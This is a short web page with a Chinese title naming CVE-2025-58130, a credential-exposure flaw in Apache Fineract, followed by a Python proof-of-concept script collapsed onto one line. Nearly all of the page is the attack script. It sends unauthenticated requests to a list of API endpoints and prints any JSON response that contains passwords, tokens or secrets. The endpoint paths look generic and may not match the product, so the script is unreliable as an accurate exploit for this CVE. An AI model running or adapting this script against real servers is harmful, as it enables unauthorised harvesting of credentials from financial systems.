CVE-2025-58130 Apache Fineract凭证保护不足漏洞

# CVE-2025-58130 PoC - Apache Fineract Credential Exposure # This PoC demonstrates the credential exposure vulnerability import requests import json TARGET = "http://target-fineract-server:8443" CVE_ID = "CVE-2025-58130" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-58130""" # Try to access sensitive endpoints without authentication endpoints = [ "/api/v1/users/credentials", "/api/v1/system/auth", "/api/v1/config/credentials", "/fineract-provider/api/v1/users", ] print(f"[*] Testing {CVE_ID} on {TARGET}") for endpoint in endpoints: try: url = f"{TARGET}{endpoint}" response = requests.get(url, timeout=10, verify=False) # Check for credential exposure indicators if response.status_code == 200: data = response.json() if any(key in str(data).lower() for key in ['password', 'credential', 'token', 'secret', 'key']): print(f"[+] VULNERABLE: {endpoint} exposes credentials") print(f"[+] Response: {json.dumps(data, indent=2)}") return True except Exception as e: print(f"[-] Error testing {endpoint}: {e}") print(f"[*] Target may not be vulnerable or is patched") return False if __name__ == "__main__": check_vulnerability()